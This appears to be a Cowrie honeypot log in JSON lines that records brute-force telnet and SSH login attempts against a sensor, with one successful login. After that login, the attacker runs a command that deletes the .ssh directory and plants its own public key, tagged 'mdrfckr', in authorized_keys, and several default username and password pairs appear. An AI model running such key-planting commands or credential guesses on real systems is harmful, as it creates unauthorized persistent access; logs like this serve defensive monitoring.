{"eventid":"cowrie.session.closed","duration":47.65169644355774,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:31.424603Z","src_ip":"134.209.8.29","session":"d3bbae27c9d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.18932485580444,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:33.433107Z","src_ip":"38.54.119.93","session":"e5cbaca619f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.35849595069885,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:34.161820Z","src_ip":"134.209.8.29","session":"d57323272ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42836,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8f3c02a88b1","protocol":"telnet","message":"New connection: 134.209.8.29:42836 (159.203.135.109:23) [session: d8f3c02a88b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:37.148068Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":59090,"dst_ip":"10.17.0.5","dst_port":22,"session":"d89581dc2e39","protocol":"ssh","message":"New connection: 150.95.157.171:59090 (10.17.0.5:22) [session: d89581dc2e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:42.733005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:42.741306Z","src_ip":"150.95.157.171","session":"d89581dc2e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:42.908139Z","src_ip":"150.95.157.171","session":"d89581dc2e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsx123","message":"login attempt [admin/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:43.582006Z","src_ip":"150.95.157.171","session":"d89581dc2e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:44.748786Z","src_ip":"150.95.157.171","session":"d89581dc2e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.94394850730896,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:44.901313Z","src_ip":"134.209.8.29","session":"4a5c9aef78ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":32916,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e374987d9e7","protocol":"telnet","message":"New connection: 134.209.8.29:32916 (159.203.135.109:23) [session: 6e374987d9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:47.772558Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":41302,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c78e74d7318","protocol":"ssh","message":"New connection: 34.135.200.178:41302 (10.17.0.5:22) [session: 0c78e74d7318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:47.971754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:47.978208Z","src_ip":"34.135.200.178","session":"0c78e74d7318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":32924,"dst_ip":"159.203.135.109","dst_port":23,"session":"7112d0c27c18","protocol":"telnet","message":"New connection: 134.209.8.29:32924 (159.203.135.109:23) [session: 7112d0c27c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:47.982378Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:48.014141Z","src_ip":"34.135.200.178","session":"0c78e74d7318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123QWEqwe","message":"login attempt [ubuntu/123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:48.188677Z","src_ip":"34.135.200.178","session":"0c78e74d7318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.209108829498291,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:48.981552Z","src_ip":"134.209.8.29","session":"6e374987d9e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:49.227041Z","src_ip":"34.135.200.178","session":"0c78e74d7318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":32928,"dst_ip":"159.203.135.109","dst_port":23,"session":"66919ec71fa7","protocol":"telnet","message":"New connection: 134.209.8.29:32928 (159.203.135.109:23) [session: 66919ec71fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:49.244590Z"}
{"eventid":"cowrie.session.closed","duration":56.45948100090027,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:50.607217Z","src_ip":"134.209.8.29","session":"fd35efb8be58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40988,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2aaa857aa66","protocol":"telnet","message":"New connection: 38.54.119.93:40988 (10.17.0.5:23) [session: e2aaa857aa66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:50.793458Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":41978,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a68895bd35","protocol":"ssh","message":"New connection: 147.50.231.135:41978 (10.17.0.5:22) [session: 37a68895bd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:57.486488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:57.492466Z","src_ip":"147.50.231.135","session":"37a68895bd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:57.753455Z","src_ip":"147.50.231.135","session":"37a68895bd35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51630,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b096870e33d","protocol":"telnet","message":"New connection: 134.209.8.29:51630 (159.203.135.109:23) [session: 8b096870e33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:58.199522Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test1234","message":"login attempt [ubuntu/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:58.829836Z","src_ip":"147.50.231.135","session":"37a68895bd35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00154995918274,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:23:59.254440Z","src_ip":"134.209.8.29","session":"1a8f508bcb3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51634,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef27a6150b35","protocol":"telnet","message":"New connection: 134.209.8.29:51634 (159.203.135.109:23) [session: ef27a6150b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:00.183427Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:00.220716Z","src_ip":"147.50.231.135","session":"37a68895bd35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.284873962402344,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:05.468208Z","src_ip":"134.209.8.29","session":"ef27a6150b35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.428746700286865,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:09.284544Z","src_ip":"134.209.8.29","session":"bc68323b7bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":34379,"dst_ip":"159.203.135.109","dst_port":22,"session":"8acd3515c8b7","protocol":"ssh","message":"New connection: 205.254.166.101:34379 (159.203.135.109:22) [session: 8acd3515c8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:10.884769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:10.889476Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:11.100566Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"rootadmin","message":"login attempt [admin/rootadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:11.968609Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:12.451481Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:12.454868Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:12.458756Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:12.672592Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:13.142450Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:13.145960Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:13.361747Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:13.365133Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":13706,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eed53c61f00","protocol":"ssh","message":"New connection: 205.254.166.101:13706 (159.203.135.109:22) [session: 3eed53c61f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:13.564942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:13.569761Z","src_ip":"205.254.166.101","session":"3eed53c61f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:13.778391Z","src_ip":"205.254.166.101","session":"3eed53c61f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.831737995147705,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:14.313939Z","src_ip":"134.209.8.29","session":"446ee8ddc248","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:14.644813Z","src_ip":"205.254.166.101","session":"3eed53c61f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:15.863420Z","src_ip":"205.254.166.101","session":"3eed53c61f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":12087,"dst_ip":"159.203.135.109","dst_port":22,"session":"131cdb77ce5f","protocol":"ssh","message":"New connection: 205.254.166.101:12087 (159.203.135.109:22) [session: 131cdb77ce5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:16.061780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:16.071706Z","src_ip":"205.254.166.101","session":"131cdb77ce5f","protocol":"ssh"}
